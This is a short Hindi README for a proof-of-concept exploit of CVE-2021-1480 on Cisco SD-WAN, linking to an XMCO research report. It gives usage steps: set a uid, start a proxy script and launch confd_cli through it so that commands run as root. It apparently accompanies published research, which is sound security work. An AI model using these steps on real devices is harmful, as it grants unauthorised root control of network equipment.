CVE-2021-1480 (SD-WAN) के लिए शोषण

Cico SD-WAN पर CVE-2021-1480 का शोषण करने के लिए PoC सामग्री। पूर्ण प्रकाशन XMCO वेबसाइट पर उपलब्ध है:

• https://blog.xmco.fr/wp-content/uploads/2021/08/XMCO-SDWAN_Report-CVE-2021-1480.pdf

उपयोग:

1. वर्तमान उपयोगकर्ता का uid सेट करने के लिए पंक्तियाँ 173 और 176 अपडेट करें
2. प्रॉक्सी शुरू करें: python cve-2021-1480.py -L 4564 127.0.0.1 4565
3. confd_cli शुरू करें: CONFD_IPC_PORT=4564 /usr/bin/confd_cli
4. confd_cli पर कमांड अब root द्वारा निष्पादित किए जाते हैं

स्रोत: https://github.com/nccgroup/tcpprox/blob/master/prox.py